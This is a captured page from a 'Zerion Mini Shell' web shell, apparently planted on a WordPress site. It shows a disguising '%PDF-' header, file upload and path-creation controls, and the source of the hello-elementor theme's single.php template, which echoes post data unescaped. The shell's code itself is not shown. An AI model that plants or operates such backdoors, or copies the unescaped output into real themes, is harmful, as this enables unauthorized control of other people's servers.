%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/q/g/b/qgbqkvz/www/wp-content/themes/hello-elementor/
Upload File :
Create Path :
Current File : /home/q/g/b/qgbqkvz/www/wp-content/themes/hello-elementor/single.php

<?php
/**
 * The template for displaying all single posts
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/#single-post
 *
 * @package marche-des-saisons
 */

get_header();
?>

	<main id="primary" class="site-main single-post-body">
		<div class="container mt-5 mb-5">
			<?php
			while ( have_posts() ) :
				the_post(); 
				$imgThumbnail = get_the_post_thumbnail_url();
				if(!$imgThumbnail) {
					$imgThumbnail = get_template_directory_uri() . '/assets/images/default-post-thumbnail.png';
				}
			?>

				<img src="<?php echo $imgThumbnail; ?>" class="post-thumbnail single-post-thumbnail" />
				<h1>
					<?php echo get_the_title(); ?>
				</h1> 
				<div class="single-post-content mt-4 mb-4">
					<?php echo get_the_content(); ?>
				</div>
			<?php	
			endwhile; // End of the loop.
			?>
		</div><!-- #container -->
	</main><!-- #main -->

<?php
get_sidebar();
get_footer();

Zerion Mini Shell 1.0